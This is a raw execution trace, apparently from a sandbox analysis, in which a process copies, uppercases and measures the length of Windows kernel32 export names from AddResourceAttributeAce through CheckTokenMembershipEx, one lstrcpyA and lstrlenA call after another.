[0146.370] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0146.370] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0146.370] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0146.370] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0146.370] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0146.370] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0146.370] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0146.370] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0146.370] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0146.370] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0146.370] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0146.370] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0146.370] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0146.370] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0146.371] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0146.371] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0146.371] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0146.371] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0146.371] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0146.371] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0146.371] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0146.371] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0146.371] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0146.371] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0146.371] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0146.371] lstrlenA (lpString="BACKUPREAD") returned 10 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0146.371] lstrlenA (lpString="BACKUPSEEK") returned 10 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0146.371] lstrlenA (lpString="BACKUPWRITE") returned 11 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0146.371] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0146.371] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0146.371] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0146.372] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0146.372] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0146.372] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0146.372] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0146.372] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0146.372] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0146.372] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0146.372] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0146.372] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0146.372] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0146.372] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0146.372] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0146.372] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0146.372] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0146.372] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.372] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0146.372] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0146.373] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0146.373] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0146.373] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0146.373] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0146.373] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0146.373] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0146.373] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0146.373] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0146.373] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0146.373] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0146.373] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0146.373] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0146.373] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0146.373] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0146.373] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0146.373] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0146.373] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0146.374] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0146.374] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0146.374] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0146.374] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0146.374] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0146.374] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0146.374] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0146.374] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0146.374] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0146.374] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0146.374] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0146.374] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0146.374] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0146.374] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0146.374] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0146.374] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0146.375] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0146.375] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0146.375] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0146.375] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0146.375] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0146.375] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0146.375] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0146.375] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0146.375] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0146.375] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0146.375] lstrlenA (lpString="BEEP") returned 4 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0146.375] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0146.375] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0146.375] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0146.375] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0146.375] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0146.375] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0146.376] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0146.376] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0146.376] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0146.376] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0146.376] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0146.376] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0146.376] lstrlenA (lpString="CANCELIO") returned 8 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0146.376] lstrlenA (lpString="CANCELIOEX") returned 10 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0146.376] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0146.376] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0146.376] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0146.376] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0146.376] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0146.376] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0146.376] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0146.376] lstrlenA (lpString="CHECKELEVATION") returned 14 [0146.376] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0146.376] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0146.377] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0146.377] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0146.377] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0146.377] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0146.377] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0146.377] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0146.377] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" 